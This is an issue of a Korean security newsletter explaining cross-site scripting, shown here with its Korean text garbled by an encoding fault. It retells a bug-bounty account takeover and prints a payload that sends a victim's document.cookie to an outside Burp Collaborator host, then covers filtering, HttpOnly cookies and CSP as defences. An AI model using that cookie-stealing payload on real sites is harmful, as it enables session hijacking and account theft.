[10์ 3์ฃผ์ฐจ] ํดํน ์๋ ค์ค๊ฒ 11ํ: XSS(Cross Site Scripting) ์๋
ํ์ธ์! ๊ทธ์ค์ 1์๋ฅผ ์ฐจ์งํ ์ทจ์ฝ์ ์ ๋ฐ๋ก ๐ฅ XSS๐ฅ ์
๋๋ค! 2019๋
๋ณด๋ค 26%๊ฐ ์ฆ๊ฐํ ์ด 420๋ง ๋ฌ๋ฌ๋ฅผ ๋ฐ์๋ค๊ณ ํ๋ค์. ๐ฎ ์ค๋ ๊ฐ์ด ์์๋ณผ ์ทจ์ฝ์ ์ด ๋ฐ๋ก ์ด XSS ์
๋๋ค! ๐ค XSS ์ทจ์ฝ์ ์ด ๋ญ์์?
XSS๋ Cross Site Scripting์ ์ฝ์์์. ๐ ์๋๋๋ก๋ผ๋ฉด CSS์ฌ์ผ ํ์ง๋ง HTML ์์์ ๋์์ธ์ ์
ํ์ฃผ๋ 'Cascading Style Sheets'๊ฐ ์ด๋ฏธ CSS๋ผ๊ณ ๋ถ๋ฆฌ๊ณ ์์ด์ ํผ๋ํ์ง ์๋๋ก XSS๋ผ๊ณ ๋ถ๋ ค์.
XSS๋ ํด์ปค๊ฐ ์
์์ ์ธ Javascript ์ฝ๋๋ฅผ ์น์ ์ฝ์
ํ ํ ์ฌ์ฉ์์ ์น ๋ธ๋ผ์ฐ์ ์์ ํด๋น ์ฝ๋๊ฐ ์คํ๋๋๋ก ๋ง๋๋ ๊ณต๊ฒฉ์
๋๋ค. ์์ธํ ์์๋ฅผ ๋ค์ด์ฃผ์ธ์! ์ฌ๊ธฐ ์ด๋ฆ์ ์
๋ ฅ๋ฐ์ submit ๋ฒํผ์ ๋๋ฅด๋ฉด ์น ์ฌ์ดํธ์์ ์ด๋ฆ์ ๋ณด์ฌ์ฃผ๋ ์น ์ฌ์ดํธ๊ฐ ์์ต๋๋ค. ์ด๋ฆ์ ์ ๋ ์นธ์ hackyboiz๋ฅผ ์ ๊ณ submit ๋ฒํผ์ ๋๋ฅด๋ฉด ' Hello hackyboiz! ' ๊ฐ ์ถ๋ ฅ๋๋ ๊ฑฐ์ฃ . ๐์ด๋ submit ๋ฒํผ์ ๋๋ฅด๋ฉด ์ฌ์ฉ์๊ฐ ์
๋ ฅํ name์ด
GET /?name=hackyboiz ๊ฐ์ HTTP ์์ฒญ์ด ๋ณด๋ด์ง๊ณ HTML ์ฝ๋์ธ <body> Hello hackyboiz! </body> ์ผ๋ก ํ๋ฉด์ ์ถ๋ ฅ๋๋ ๊ฑฐ์์.โญ ์ค์ํ ๊ฒ์ ์ฌ์ฉ์๊ฐ ์
๋ ฅํ ๊ฐ์ด ๊ทธ๋๋ก HTML์ ๋ค์ด๊ฐ๊ฒ ๋ฉ๋๋ค. ๐ฆ ๊ทธ๋ ๋ค๋ฉด Javascript๋ ์ด๋ป๊ฒ HTML์ ์ฝ์
ํ ์ ์์๊น์?
๋ํ์ ์ผ๋ก <script> ํ๊ทธ๋ฅผ ์ฌ์ฉํ๋ฉด Javascript๋ฅผ HTML ์์ ์ฝ์
ํ ์ ์์ด์.
์์ ํ๋ ์์์์ <script> alert(1) </script> ๋ฅผ ์ฝ์
ํด ๋ณผ๊น์?
<body> Hello <script> alert(1) </script></body> ์ผ๋ก Javascript๊ฐ ์คํ๋์ด 1์ด ์ ํ์๋ ์๋ฆผ์ฐฝ์ด ๋จ๊ฒ ๋๊ฒ ์ฃ ! ๐ขJavascript๋ฅผ ์ฝ์
ํด์ ๋ฌด์์ ํ ์ ์์๊น์?
๋จ์ํ alert ๋ฉ์์ง๋ง ๋์ฐ๋ฉด ๋ฌธ์ ๊ฐ ๋์ง ์์ ์ ์์ง๋ง, ํด์ปค๋ค์ด XSS ๊ณต๊ฒฉ์ผ๋ก ๊ฐ์ฅ ๋ง์ด ๋
ธ๋ฆฌ๋ ๊ฒ์ ์ธ์
ID๊ฐ ํฌํจ๋ ์ฟ ํค๋ฅผ ํ์น๋ ๊ฒ์
๋๋ค.
์ฌ์ฉ์์ ์ฟ ํค์ ์์ ์ ์ฅ๋ ์ธ์
ID๋ฅผ ์ป๊ฒ ๋๋ฉด, ํด๋น ์ฌ์ฉ์์ ๊ถํ์ ์ป์ ์ ์์ต๋๋ค. ๐ฆ ๊ทธ๋ฌ๋ฉด ํ์ทจํ ๊ณ์ ์ผ๋ก ๋ ์
์์ ์ธ ํ๋์ ํ ์ ์์ด์. ๋ค๋ฅธ ๋ฐฉ๋ฒ๋ ์๊ฐํด ๋ณผ๊น์? ํด์ปค๊ฐ ๊ฒ์ํ์ ๊ธ์ ์ฐ๋๋ฐ ์ ๋ชฉ์ ์๊ทน์ ์ผ๋ก ์ ์ด์ ์ฌ๋๋ค์ด ํด๋ฆญํ๊ฒ๋ ์ ๋ํ๊ณ , ๋ด์ฉ์๋ ์
์ฑ ์ฌ์ดํธ๋ก ์ด๋ํ๊ฑฐ๋, ๋๋ ์
์ฑ์ฝ๋๋ฅผ ์คํํ๊ฒ ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ๋ค๊ณ ํด๋ณผ๊ฒ์.
ํด๋น ๊ฒ์๋ฌผ์ ํด๋ฆญํ ์ฌ์ฉ์๋ค์ ์ปดํจํฐ ํด์ปค๊ฐ ์ ์ ์คํฌ๋ฆฝํธ๋๋ก ์คํ๋์ด ์ด๋ค ์ผ์ด ์๊ธธ์ง๋ ์ฌ๋ฌ๋ถ์ ์์์ ๋งก๊ธธ๊ฒ์. ๐ฒ๐ญ ์ค์ ๋ก XSS๋ก ์ฌ์ฉ์์ ๊ณ์ ์ ์ด๋ป๊ฒ ํ์ทจํ ์ ์๋์?
ํน์ ์น์ฌ์ดํธ์์๋ ์กฐ์ง์ ์์ฑํ๊ณ , ์กฐ์ง์ ์ฌ์ฉ์๋ฅผ ์ด๋ํ๋ ๋ฑ์ ๋ง์ ๊ธฐ๋ฅ์ด ์์๋๋ฐ, ์ด ์ด๋๋ฅผ ๋ณด๋ด๋ ๊ฒ๋ง์ผ๋ก ๊ณ์ ์ ํ์ทจํ ์ ์์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ ์ ๋ณดํ Vikram Naidu๋ ์ฒ์์ ์กฐ์ง ์์ฑ ๊ธฐ๋ฅ์์ ์กฐ์ง ์ด๋ฆ์
<script>alert(document.cookie)</script> ๋ก ๋ฑ๋กํ์ง๋ง XSS๊ฐ ํธ๋ฆฌ๊ฑฐ ๋์ง ์์์ ์กฐ์ง ์ด๋ฆ์ xyz๋ก ๋ณ๊ฒฝํ๊ณ ์ฌ์ฉ์ ์ด๋ ๊ธฐ๋ฅ์ผ๋ก ๋๊ธธ์ ๋๋ ธ์ด์.ํฌ๋กฌ์์ ์ด๋๋ฅผ ๋ฐ์ ๋ ๋ฒ์งธ ๊ณ์ ์ ๋ก๊ทธ์ธํ์๋ง์ ์๋จ์ ๋ค์๊ณผ ๊ฐ์ ์๋ฆผ์ด ํ์๋๋๋ฐ, ๋ด์ฉ ์ค ๋ฑ๋กํ๋ ์กฐ์ง ์ด๋ฆ(xyz)์ด ํฌํจ๋์ด ์์ต๋๋ค!!! ๊บ์์์์์
์ฌ๊ธฐ๊น์ง ๋ณด๋ฉด ์ด์ ์ด๋ป๊ฒ ํ ์ ์์์ง ์๊ฒ ๋์?
์ฆ์ ์ฒซ ๋ฒ์งธ ๊ณ์ ์ผ๋ก ๋์๊ฐ ์กฐ์ง์ ์ด๋ฆ์ <script>alert(document.cookie)</script> ๋ก ๋ค์ ๋ณ๊ฒฝํ๊ณ , ์ด๋๋ฅผ ๋ฐ์ ๋ XSS๊ฐ ํธ๋ฆฌ๊ฑฐ ๋๋์ง ํ์ธํด๋ด
์๋ค.XSS๊ฐ ํธ๋ฆฌ๊ฑฐ๋๊ณ ํ์
์ผ๋ก ์ฌ์ฉ์ ์ธ์
์ ๋ด๋นํ๋ ์ธ์ฆ ํ ํฐ์ ํฌํจํด์ ๋ชจ๋ ์ฟ ํค๋ฅผ ๋ณผ ์ ์์ต๋๋ค. ๐
๋ํ ์์ ์ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ ๋ ์ ์ผํ๊ฒ
set-cookie ๊ฐ ์ฌ์ฉ์ ์ธ์
์ ๋ด๋นํ๋ ๊ฒ์ ํ์ธํ์ด์.ํผํด์์ ๊ณ์ ์ ํ์ทจํ๊ธฐ ์ํด ์ด ์ฟ ํค๊ฐ์ ํด์ปค๊ฐ ์ ์ดํ๋ ์๋ฒ๋ก ๋ฆฌ๋๋ ์
๋๋ ๋ฐฉ์์ผ๋ก burp collaborator client๋ฅผ ์ด๊ณ ํ์ด๋ก๋(์กฐ์ง์ ์ด๋ฆ)๋ฅผ <script>new Image().src=โ<http://burp.burpcollaborator.net/abc.php?output=>"+document.cookie;</script> ๋ก ์์ ํด๋ด
์๋ค.์ด ํ์ด๋ก๋๋ฅผ ์ฌ์ฉํด ์ด๋์ฅ์ ๋ณด๋ด๋ฉด, ํผํด์๊ฐ ์์ ์ ๊ณ์ ์ ๋ก๊ทธ์ธํ์๋ง์ XSS๊ฐ ํธ๋ฆฌ๊ฑฐ๋๊ณ ํด์ปค์ Burp colloaborator client๋ ํผํด์ ์ฟ ํค์ ์ธ๋ถ ์ ๋ณด๊ฐ ํฌํจ๋ http ์์ฒญ์ ๋ฐ๊ฒ ๋ฉ๋๋ค. ๋ฐ๋ผ์ ๋ก๊ทธ์ธํ๋ ๋์ ํด๋น ์ฟ ํค๋ฅผ ๋ด ์ฟ ํค๋ก ๋์ฒดํ๋ฉด ํผํด์ ๊ณ์ ์ผ๋ก ์ง์ ๋ก๊ทธ์ธํ ์ ์์ด์. ์ด๋ป๊ฒ ํด๊ฒฐํ ์ ์์๊น์? ๐ค
XSS ๋ฐฉ์ง๋ ์ฝ์ง ์๋ค๊ณ ํด์. ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ๋ถํฐ ํ๋์ฉ ์์๋ด์!
Command Injection์์๋ ๋ง์ฐฌ๊ฐ์ง์ง๋ง, ์ญ์ ์ฌ์ฉ์์ ์
๋ ฅ์ 100% ๋ฏฟ์ผ๋ฉด ์๋ฉ๋๋ค. ๐ ์ฌ์ฉ์๊ฐ ์
๋ ฅํ ๋ด์ฉ์ ์ต๋ํ ์๊ฒฉํ๊ฒ ํํฐ๋งํ๊ณ , XSS Cheat Sheet์ ๋ํ ํํฐ ๋ชฉ๋ก์ ๋ง๋ค์ด Javascript๊ฐ ์คํ๋์ง ์๋๋ก ํด์ผ๊ฒ ๋ค์.
๋ํ, XSS๋ฅผ ๋ฐฉ์ดํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ธ๋ผ์ฐ์ ํ์ฅ์ฑ์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๊ฐ๋ฐ์๋ ์๋ฒ์ AntiXSS ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐฉ์ดํ ์ ์๊ณ , ์ฌ์ฉ์๋ ์์ ์ ์ปดํจํฐ์์ ์
์์ ์ธ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์ง ์๋๋ก ํด์ผ ํฉ๋๋ค.
Set-Cookie ์๋ต ํค๋์๋ ์๋ฒ์์ ์ฌ์ฉ์ ๋ธ๋ผ์ฐ์ ์ ์ฟ ํค๋ฅผ ์ ์กํ๊ธฐ ์ํด ์ฌ์ฉ๋๋๋ฐ ์ด๋ HttpOnly Flag๊ฐ ์กด์ฌํด์.
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly ์ด ์์ฑ์ XSS ์ทจ์ฝ์ ์ ๊ณต๊ฒฉ์ ๋ฐฉํดํ๊ธฐ ์ํ ๋ชฉ์ ์ผ๋ก ์ฟ ํค์ ๋ํ ์ ๊ทผ์ ์ฐจ๋จํ ์ ์์ต๋๋ค.๊ทธ๋๋ ์ฌ์ ํ ํด์ปค๊ฐ XSS ์ทจ์ฝ์ ์ผ๋ก ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ Javascript๋ฅผ ์คํํ ์ ์๋ค๋ฉด์..? ๐ฅ ๋ง์ง๋ง ๋์ ๋ฐฉ์์ผ๋ก ๋ณด์ ์ ์ฑ
์ธ Content Security Policy(CSP) ๋ฅผ ์๊ฐํ ๊ฒ์!
CSP๋ ๊ณต๊ฒฉ์๊ฐ ์น ๋ด๋ถ์์ Javascript๋ฅผ ์คํํ ์ ์๋๋ผ๋ ํน์ ๋๋ฉ์ธ์ ๋ฆฌ์์ค๋ง ์ฐธ์กฐํ ์ ์๊ฒ ํ๊ฑฐ๋, ๋ฆฌ์์ค๋ฅผ ์์ ์ฐธ์กฐํ์ง ๋ชปํ๊ฒ ํ๋ ๋ฑ์ ๋ฆฌ์์ค์ ๋ํ ๋ณด์ ์ ์ฑ
์ ์ค์ ํ์ฌ ํ๊ฐ๋์ง ์์ ์คํฌ๋ฆฝํธ ๋ก๋ ์์ฒด๋ฅผ ๋ฐฉ์งํ๋ ๋ณด์ ์ ์ฑ
์
๋๋ค.๊ทธ๋ผ ๋ค์ ์ฃผ์๋ ๋ ์ ์ตํ "ํดํน ์๋ ค์ค๊ฒ"๋ก ๋์์ฌ๊ฒ์~ ๐ ์ค๋ ์ ํด๋๋ฆฐ ๋ด์ฉ์ด ๋ง์์ ๋์
จ๋์? ์ฃผ์ ์น๊ตฌ๋ค์๊ฒ ๋ด์ค๋ ํฐ๋ฅผ ์ถ์ฒํด์ฃผ์ธ์! ๋ค์์ฃผ์๋ ์์ฐฌ ๋ด์ฉ์ผ๋ก ๋์์ค๊ฒ ์ต๋๋ค. ๐ ํน์ ๋ง์์ ์๋๋ ๋ถ๋ถ์ด ์์๋์? ์ฌ๊ธฐ์์ ํผ๋๋ฐฑ์ ์ ๋ฌํด์ฃผ์ธ์! ์ฌ๋ฌ๋ถ์ ์๊ฒฌ๋ค์ ์ ๊ทน ๋ฐ์ํด์ ๋์ฑ ์ ์ตํ ๋ด์ค๋ ํฐ๋ฅผ ๋ง๋ค์ด๊ฐ๋๋ก ํ๊ฒ ์ต๋๋ค. ๐ ํดํค๋ณด์ด์ฆ |